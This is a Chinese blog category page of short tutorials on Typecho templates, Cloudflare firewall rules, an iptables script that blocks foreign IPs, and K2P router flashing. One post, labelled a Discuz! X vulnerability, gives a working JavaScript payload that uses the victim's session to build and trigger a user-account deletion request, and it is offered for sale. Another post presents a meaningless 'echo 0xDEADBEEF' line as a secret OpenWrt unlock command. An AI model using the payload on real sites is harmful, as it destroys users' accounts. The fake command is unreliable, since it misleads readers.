分类 教程 下的文章

Typecho 侧边栏不显示博主本人评论内容

Typecho侧边栏不显示博主评论,sidebar.php文件

<?php $this->widget('Widget_Comments_Recent','ignoreAuthor=true')->to($comments); ?>

这个代码使用以下也是可以的。省的博主自己经常回复别人的问题,上面都是自己。

如何使用CF设置防护

登录官方后台,任何第三方面板都没有入站防火墙功能!

点击防火墙,firewall rules 总共可以建立5个

建立一条规则 起名 坏ip验证码,选择threat score,然后选择greater than or equal to 空格里写2,下面的行为选择Challenge (Captcha)
意思就是,只要ip的bad评分值等于或者大于2,就启动验证码!

为了避免爬虫也被验证码拦截,我们附加一个and,
选择known bots ,然后把开关点到off,
意思就是不是已知爬虫
两个条目合起来就是

当ip的坏蛋值达到2分以上,并且不属于已知的爬虫,将使用验证码拦截访问。
已知爬虫参见 官方常见问题
https://developers.cloudflare.com/firewall/known-issues-and-faq/#how-does-firewall-rules-handle-traffic-from-known-bots页面的
How does Firewall Rules handle traffic from known bots? 部分

一行代码开启OpenWrt中的隐藏5-5-R出国功能

打开Xshell,通过SSH连接到你的路由器(OpenWrt SSH用户名和密码默认是你的路由器管理页面登录用户名和密码),然后输入以下命令

最后芝麻开门神秘代码  echo 0xDEADBEEF > /etc/config/google_fu_mode

提取码: iep6

本资源为收费资源:资源售价:0元
购买资源,请选择下方您方便的付款方式,根据提示付款操作即可。不会付款?点击这里!
付款遇到问题请联系客服微信:im286im
已有 0 人付款下载

K2p路由器刷机工具(含图文教程)

K2P刷机.zip

本方法适用于最新的K2P MTK 22.8.5.189、22.10.2.23、22.10.2.24固件。

一般来说,只需使用下面的第一个工具,刷入breed然后下载固件,在breed里刷入固件即可

来至A大博客

本资源为收费资源:资源售价:0元
购买资源,请选择下方您方便的付款方式,根据提示付款操作即可。不会付款?点击这里!
付款遇到问题请联系客服微信:im286im
已有 0 人付款下载

Discuz! X漏洞

location.href=((d=(await(await fetch("./home.php?mod=spacecp&ac=avatar",{credentials:'include'})).text()).match(/\/\/\S+\/images\/ca\S+&ag/g)[0].replace('images/camera.swf?','?m=user&a=delete&'))&&confirm('删除ID'))?d:'';
本资源为收费资源:资源售价:1.00元
购买资源,请选择下方您方便的付款方式,根据提示付款操作即可。不会付款?点击这里!
付款遇到问题请联系客服微信:im286im
已有 0 人付款下载

VPS屏蔽国外IP访问脚本

听大佬们讨论如何防CC攻击,有大佬提出禁止国外IP访问,可以有所缓解,因此从路由器中移植了如下脚本,在CENTOS 6下调试通过。

使用:

先运行如下语句获取国内IP网段,会保存为/root/china_ssr.txt

wget -q --timeout=60 -O- 'http://ftp.apnic.net/apnic/stats/apnic/delegated-apnic-latest' | awk -F\| '/CN\|ipv4/ { printf("%s/%d\n", $4, 32-log($5)/log(2)) }' > /root/china_ssr.txt

将下面脚本保存为/root/allcn.sh,设置可执行权限

运行
/root/allcn.sh
运行后国外IP无法访问网站

停止
/root/allcn.sh stop
运行后国外IP恢复访问网站

mmode=$1

#下面语句可以单独执行,不需要每次执行都获取网段表
#wget -q --timeout=60 -O- 'http://ftp.apnic.net/apnic/stats/apnic/delegated-apnic-latest' | awk -F| '/CN|ipv4/ { printf("%s/%d\n", $4, 32-log($5)/log(2)) }' > /root/china_ssr.txt

CNIP="/root/china_ssr.txt"

gen_iplist() {
cat <<-EOF
$(cat ${CNIP:=/dev/null} 2>/dev/null)
EOF
}

flush_r() {
iptables -F ALLCNRULE 2>/dev/null
iptables -D INPUT -p tcp -j ALLCNRULE 2>/dev/null
iptables -X ALLCNRULE 2>/dev/null
ipset -X allcn 2>/dev/null
}

mstart() {
ipset create allcn hash:net 2>/dev/null
ipset -! -R <<-EOF
$(gen_iplist | sed -e "s/^/add allcn /")
EOF

iptables -N ALLCNRULE
iptables -I INPUT -p tcp -j ALLCNRULE
iptables -A ALLCNRULE -s 127.0.0.0/8 -j RETURN
iptables -A ALLCNRULE -s 169.254.0.0/16 -j RETURN
iptables -A ALLCNRULE -s 224.0.0.0/4 -j RETURN
iptables -A ALLCNRULE -s 255.255.255.255 -j RETURN
#可在此增加你的公网网段,避免调试ipset时出现自己无法访问的情况

iptables -A ALLCNRULE -m set --match-set allcn src -j RETURN
iptables -A ALLCNRULE -p tcp -j DROP

}

if [ "$mmode" == "stop" ] ;then
flush_r
exit 0
fi

flush_r
sleep 1
mstart

IP库:https://github.com/17mon/china_ip_list

本资源为收费资源:资源售价:1.00元
购买资源,请选择下方您方便的付款方式,根据提示付款操作即可。不会付款?点击这里!
付款遇到问题请联系客服微信:im286im
已有 0 人付款下载

修改Typecho首页文章摘要字数的方法

建立博客的时候使用主页文章列表内容有多长就显示多长Typecho内置了一个限制字数函数,可以通过这个函数限制字数的方式截断摘要。如果让其不显示,通过修改typecho主题模板实现。
1.登陆博客后台,把鼠标移至“控制台”,在下拉菜单中选择“外观”选项
2.编辑主题的index.php,在index.php文件找到这样的一段代码:

content('阅读剩余部分...');

3.将其替换成:

excerpt(200, '...');

4.在archive.php中找到第2步的代码,将其替换为第3步中的代码,保存文件即可显示摘要,即博客首页和分类页均不显示文章全部内容。

我的博客就是设置了200长度的效果。